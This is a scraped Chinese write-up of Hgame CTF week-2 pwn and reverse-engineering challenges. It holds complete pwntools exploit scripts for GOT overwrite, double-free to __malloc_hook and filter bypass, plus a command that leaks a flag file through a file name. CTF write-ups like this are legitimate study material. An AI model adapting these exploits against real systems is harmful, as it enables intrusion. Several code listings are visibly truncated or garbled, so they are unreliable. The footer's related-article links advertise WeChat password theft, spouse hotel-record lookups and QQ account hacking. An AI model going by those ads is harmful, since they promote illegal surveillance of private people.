黑客信息网:记一次CTF实战练习(RE/PWN)

访客3年前黑客资讯332

  这是Hgame_CTF第二周的题目,一共有四周。相对来说,比之一周难(HgameCTF(week1)-RE,PWN题解析)。这次的有一道逆向考点也挺有意思,得深入了解AES的CBC加密模式才能解题。还有一道pwn虽然能getshell,但是程序关闭了回显,并不能获取flag。队友提供了一种比较骚的思路才解开。

  ##pwn

  ###Another_Heaven

  该题目存在一个后门

  *(_DWORD *)v5=readi(); // 可以写入一个地址

  read(0, (void *)*(signed int *)v5, 1uLL);

  这两行代码意思是 可以自己输入一个地址,然后可以改变该地址里边的一个数值。另外没有发现其他的漏洞。

  再看cspw函数

  __int64 cpswd()

  {

  int i; // [rsp+Ch] [rbp-14h]

  puts("Input new password:");

  read_n((__int64)buf, 48);

  printf("Processing.", 48LL);

  for ( i=0; i

  {

  if ( !strncpy((char *)(i + 0x602160LL), &buf[i], 1uLL) )// 覆盖到flag

  {

  puts("System Error!");

  exit(0);

  }

  putchar('.');

  usleep(10000u);

  }

  puts("Done!");

  return 0LL;

  }

  可以覆盖flag,那么strncpy之一个参数就是读取的flag,其实strncpy和puts函数地址只相差了一位,那么可以通过改变这一位来使得strncpy变成puts函数输出flag。

  #!/usr/bin/python

  #coding:utf-8

  from pwn import *

  from time import *

  from LibcSearcher import *

  context.log_level="debug"

  REMOTE_LIBC=""

  io=remote('172.17.0.2',10001)

  #elf=ELF(EXEC_FILE)

  #libc=ELF(REMOTE_LIBC)

  io.recv()

  raw_input()

  io.sendline(str(0x0602020))#修改strncpy

  io.send('\xE6')

  io.recvuntil(':')

  io.sendline("E99p1ant")

  io.recvuntil(":")

  io.sendline('a')

  io.recvuntil('(y/n)')

  io.sendline('y')

  io.recvuntil('?')

  io.sendline('Alice·Synthesis·Thirty')

  io.recvuntil(":")

  io.sendline('a')

  print io.recv()

  io.interactive()

  ###Roc826s_Note

  题目没有edit函数,但是delete函数存在uaf漏洞,给了libc,可以先释放unsorted bin求出libc基地址,然后通过double free来修改malloc hook跳转到one_gadget。

  #!/usr/bin/python

  #coding:utf-8

  from pwn import *

  from time import *

  from LibcSearcher import *

  context.log_level="debug"

  #EXEC_FILE=""

  REMOTE_LIBC=""

  #main_offset=3951392

  io=remote('47.103.214.163',21002)

  #io=process('')

  #elf=ELF(EXEC_FILE)

  libc=ELF(REMOTE_LIBC)

  def add(size,content):

  io.sendlineafter(':','1')

  io.sendlineafter('?',str(size))

  io.sendlineafter(':',content)

  def show(idx):

  io.sendlineafter(':','3')

  io.sendlineafter('?',str(idx))

  def delete(idx):

  io.sendlineafter(':','2')

  io.sendlineafter('?',str(idx))

  add(0x89,'a')#0

  add(0x10,'b')#1

  delete(0)

  show(0)

  io.recvuntil('content:')

  unsorted_bin=u64(io.recvn(6).ljust(8,'\x00')) - 88

  print hex(unsorted_bin)

  libc_addr=unsorted_bin - 3951392

  print hex(libc_addr)

  __malloc_hook=libc_addr + libc.sym['__malloc_hook']

  add(0x68,'c')#2

  add(0x68,'d')#3

  add(0x68,'e')#4

  delete(2)

  delete(3)

  delete(2)

  add(0x68,p64(__malloc_hook-35)*2)#5

  add(0x68,'f')#6

  add(0x68,'g')

  add(0x68,19*'\x00'+p64(libc_addr+0xf1147))

  io.sendlineafter(':','1')

  io.sendlineafter('?',str(0x68))

  io.interactive()

  ###findyourself

  题目考察过滤,有两个check函数,如果通过check函数就会执行system

  signed __int64 __fastcall check1(const char *a1)

  {

  signed __int64 result; // rax

  int i; // [rsp+1Ch] [rbp-14h]

  for ( i=0; i

  {

  if ( (a1[i] 122) && (a1[i] 90) && a1[i] !=47 && a1[i] !=32 && a1[i] !=45 )

  return 0xFFFFFFFFLL;

  }

  if ( strstr(a1, "sh") || strstr(a1, "cat") || strstr(a1, "flag") || strstr(a1, "pwd") || strstr(a1, "export") )

  result=0xFFFFFFFFLL;

  else

  result=0LL;

  return result;

  }

  signed __int64 __fastcall check2(const char *a1)

  {

  signed __int64 result; // rax

  if ( strchr(a1, 42)

  || strstr(a1, "sh")

  || strstr(a1, "cat")

  || strstr(a1, "..")

  || strchr(a1, 38)

  || strchr(a1, 124)

  || strchr(a1, 62)

  || strchr(a1, 60) )

  {

  result=0xFFFFFFFFLL;

  }

  else

  {

  result=0LL;

  }

  return result;

  }

  原本是绕过了之一个check,想通过第二个check得到终端。exp如下

  #!/usr/bin/python

  #coding:utf-8

  from pwn import *

  from time import *

  from LibcSearcher import *

  context.log_level="debug"

  #EXEC_FILE=""

  REMOTE_LIBC=""

  io=remote('47.103.214.163',21000)

  #elf=ELF(EXEC_FILE)

  #libc=ELF(REMOTE_LIBC)

  io.recvuntil('yourself')

  io.sendline('ls -l /proc/self/cwd')

  sleep(0.1)

  io.recvuntil('-> ')

  chdir=io.recvn(15)

  io.recv()

  io.sendline(chdir)

  sleep(0.1)

  raw_input()

  io.sendline('ltotal 4004')

  io.interactive()

  但是该题目在执行第二个system之前close(1),所以没有回显。后来队内的师傅想到了把 flag 里面的内容当成新建文件的名字然后就能"ls -l"读出来。getshell之后虽然没有回显,但是输入命令可以执行。先执行

  cat /flag>/tmp/`cat /flag`

  使用flag当作文件名创建一个文件。然后ls -l /tmp输出flag

  image.png

  ##RE

  ###unpack

  题目加有类似upx的壳,或许用esp定律可以脱,但是是elf程序,最后凭经验追到OEP。

  追到下边代码的时候就能感觉到已经进入OEP了

  LOAD:0000000000400890 loc_400890:

  LOAD:0000000000400890 xor ebp, ebp

  LOAD:0000000000400892 mov r9, rdx

  LOAD:0000000000400895 pop rsi

  LOAD:0000000000400896 mov rdx, rsp

  LOAD:0000000000400899 and rsp, 0FFFFFFFFFFFFFFF0h

  LOAD:000000000040089D push rax

  LOAD:000000000040089E push rsp

  LOAD:000000000040089F mov r8, 4017A0h

  LOAD:00000000004008A6 mov rcx, 401710h

  LOAD:00000000004008AD mov rdi, offset sub_4009AE

  LOAD:00000000004008B4 call loc_401250

  LOAD:00000000004008B9 hlt

  很容易就能看到flag处理函数

  __int64 sub_4009AE()

  {

  __int64 result; // rax

  signed int v1; // [rsp+8h] [rbp-48h]

  signed int i; // [rsp+Ch] [rbp-44h]

  char v3[56]; // [rsp+10h] [rbp-40h]

  unsigned __int64 v4; // [rsp+48h] [rbp-8h]

  v4=__readfsqword(0x28u);

  sub_40F570((__int64)&unk_4A13A8, v3);

  v1=0;

  for ( i=0; i > 38 FOR_ITER32 (to 72)

  40 STORE_FAST 3 (O0)

  7 42 LOAD_FAST2 (O0o)

  44 LOAD_FAST3 (O0)

  46 LOAD_CONST 2 (1)

  48 BINARY_SU *** RACT

  50 BINARY_SUBSCR

  52 LOAD_FAST2 (O0o)

  54 LOAD_FAST3 (O0)

  56 BINARY_SUBSCR

  58 BINARY_XOR

  60 STORE_FAST 4 (Oo)

  8 62 LOAD_FAST4 (Oo)

  64 LOAD_FAST2 (O0o)

  66 LOAD_FAST3 (O0)

  68 STORE_SUBSCR

  70 JUMP_ABSOLUTE 38

  >> 72 POP_BLOCK

  9 >> 74 LOAD_GLOBAL 3 (bytes)

  76 LOAD_FAST2 (O0o)

  78 CALL_FUNCTION1

  80 STORE_FAST 5 (O)

  10 82 LOAD_FAST5 (O)

  84 LOAD_METHOD 4 (hex)

  86 CALL_METHOD 0

  88 RETURN_VALUE

  In [5]: exit()

  需要注意

  BINARY_SU *** RACT 为相减,BINARY_SUBSCR 取值

  可以还原

  flag="sfesefsfhthfyhjjus"

  O0o=list(flag)

  out_flag=""

  for i in range(1,len(O0o)):

  O0=i

  Oo=ord(O0o[O0-1])^ord(O0o[O0])

  O0o [O0]=Oo

  写出exp

  q="7d037d045717722d62114e6a5b044f2c184c3f44214c2d4a22"

  flag=[]

  for i in range(0,len(q),2):

  flag.append(int(q[i:i+2],16))

  print flag

  flags=""

  flag=flag[::-1]

  for i in range(len(flag)-1):

  flag[i]=flag[i+1]^flag[i]

  flags +=chr(flag[i])

  flags +=chr(0x7d)

  print flags

  ###classic_CrackMe

  .net程序

  string text=this.textBox1.Text;

  if (text.Length !=46 || text.IndexOf("hgame{") !=0 || text.IndexOf("}") !=45)

  {

  MessageBox.Show("Illegal format");

  return;

  }

  string base64iv=text.Substring(6, 24);

  string str=text.Substring(30, 15);

  try

  {

  Aes aes3=new Aes("SGc0bTNfMm8yMF9XZWVLMg==", base64iv);

  Aes aes2=new Aes("SGc0bTNfMm8yMF9XZWVLMg==", "MFB1T2g5SWxYMDU0SWN0cw==");

  string text2=aes3.DecryptFromBase64String("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I==");

  if (text2.Equals("Same_ciphertext_"))

  {

  byte[] array=new byte[16];

  Array.Copy(aes2.EncryptToByte(text2 + str), 16, array, 0, 16);

  if (Convert.ToBase64String(array).Equals("dJntSWSPWbWocAq4yjBP5Q=="))

  {

  MessageBox.Show("注册成功!");

  this.Text="已激活,欢迎使用!";

  this.status=1;

  }

  else

  {

  MessageBox.Show("注册失败!

  hint: " + aes2.DecryptFromBase64String("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I="));

  }

  }

  else

  {

  MessageBox.Show("注册失败!

  hint: " + aes2.DecryptFromBase64String("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I="));

  }

  }

  catch

  {

  MessageBox.Show("注册失败!");

  }

  }

  输入的flag分成两部分,前部分当成iv。用已知的iv('MFB1T2g5SWxYMDU0SWN0cw==')去解密的话会得到Learn principles,不符合要求,显然这是要学习原理,求出iv。

  明文,密文,密钥,我们都知道,不同的iv得到的不同明文我们也知道。通过原理可知 IV 和 DecChiperText 和 plainText 是 xor 关系。

  解密时:用 key 去解密 chiperText 再和 IV 异或就能得到 plainText

  plainText=( Decrypt(chiperText, key) ) ^ IV

  上面的公式 分成两步:

  1.DecChiperText=Decrypt(chiperText, key) //使用 key 去解密 chiperText

  2.plainText=tmp ^ IV //这样的话, 就算 iv 是错的 也不会影响到 Decrypt(chiperText, key)

  已知:

  key="Hg4m3_2o20_WeeK2"

  plainText="Same_ciphertext_"

  chiperText="\x9a7Q\xa8~\x1d\xd4\xef'mF \x93\xec\x15\xbbp\x1e\x13\xb6m\x13\xda\xedO\xff\x01\x03\xc2|\xf7\xb2"

  再构造一个 假 IV 去解密,变成:

  fakeIV="aaaaaaaaaaaaaaaa"

  key="Hg4m3_2o20_WeeK2"

  plainText="Same_ciphertext_"

  chiperText="\x9a7Q\xa8~\x1d\xd4\xef'mF \x93\xec\x15\xbbp\x1e\x13\xb6m\x13\xda\xedO\xff\x01\x03\xc2|\xf7\xb2"

  fakePlainText=( Decrypt(chiperText, key) ) ^ fakeIV

  plainText=fakePlainText ^ fakeIV

  因为得到的结果 fakePlainText 是异或过 fakeIV 的,我们只要 再次异或 fakeIV 就能得到公式上面之一步得到的结果 DecChiperText。DecChiperText 和 IV 和 plainText 是 xor 关系现在已知 DecChiperText 和 plainText 就能求出 真正的 IV

  IV=DecChiperText ^ plainText

  可以写python代码

  from Crypto.Cipher import AES

  import base64

  key=base64.b64decode("SGc0bTNfMm8yMF9XZWVLMg==")

  fakeIV="aaaaaaaaaaaaaaaa"

  plainText="Same_ciphertext_"

  chiperText=base64.b64decode("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I=")

  mode=AES.MODE_CBC

  aesCipher=AES.new(key, mode, fakeIV)

  fakePlainText=aesCipher.decrypt(chiperText)

  #print fakePlainText

  IV=''

  for i in range(16):

  IV +=chr(ord(fakePlainText[i]) ^ ord(fakeIV[i]) ^ ord(plainText[i]))

  print "IV : " + IV

  #IV : /TyXYzPnY;$)\we_

  求得IV为/TyXYzPnY;$)\we_ 经过base64加密后为L1R5WFl6UG5ZOyQpXHdlXw==

  然后使用text2和后半部分flag拼接加密,加密后的密文最后24位必须为"dJntSWSPWbWocAq4yjBP5Q=="。text2位16位,刚好填充满,通过原理可知,密文前面16位不变。那么可以先让text2单独加密,得到密文的16进制,然后同"dJntSWSPWbWocAq4yjBP5Q=="的16进制形式拼接在一起,经过base64加密,得到密文"xlKKQA5RPpyyA1YBjDeL5HSZ7Ulkj1m1qHAKuMowT+U"。直接解密得到后半flag。

  image.png

  (完)

  如果想更多系统的学习CTF,可点击 链接 进入CTF实验室学习,里面涵盖了6个题目类型系统的学习路径和实操环境。

相关文章

我想要查我媳妇微信已删记录

在试管婴儿周期中,我们常遇到一个问题,怎么辨别正常胚胎和异常胚胎?异常胚胎可移植吗?友谊长存小编就来说说吧。 首先,我们了解两个概念: 一、正常胚胎 正常受精卵在授精16~20 h后可观察到2个...

找qq黑客盗号-黑客军团在那里可以看

网络黑客一样平时全是做什么的 黑客编程手机软件汉化版(网络黑客编程学习) 黑客攻击电脑上有什么作用 悄悄开启qq密友摄像头软件(强制性打开qq摄像头软件) 怎祥变成出色的网络黑客...

老公用身份证开了房怎么查询(如何查看老婆最近开了房)

老公用身份证开了房怎么查询(如何查看老婆最近开了房) 专业盗取微信密码,开房查询,通话记录查询,查询微信聊天记录,非常靠谱!编者按:作为如今支付宝的劲敌,微信支付在七年前所推出的时候,其实一度遭受了...

黑客扣扣号码(黑客号码大全)

黑客扣扣号码(黑客号码大全)

本文导读目录: 1、电脑被黑客上锁了只留了QQ号怎么办 我看网上,但我是安全模式? 2、为什么qq号码会被盗.. 3、为什么有人会盗别人的QQ号码?拜托各位大神 4、什么样的QQ号会被盗...

想要开蛋糕店?来看看这篇关于蛋糕店的创业项目策划书

如今伴随着经济发展的持续发展趋势,愈来愈多的人都逐渐喜爱自己创业。但是,自主创业并并不是大脑一热的事儿,還是必须历经仔细筹备才能够。针对创业人而言,挑选一个好的创业好项目是一个很重要的事,实际上,开一...

度蜜月是什么意思(结婚蜜月十大地方国内)

度蜜月是什么意思(结婚蜜月十大地方国内)

五月是春暖花开的季节,也是一年之中最浪漫的季节,选择在这个时候去度蜜月,是最合适不过了,下面为大家整理了5月适合度蜜月的地方,一起来看看吧!希望可以帮助到你。 三亚 三亚,是个被大自然宠坏...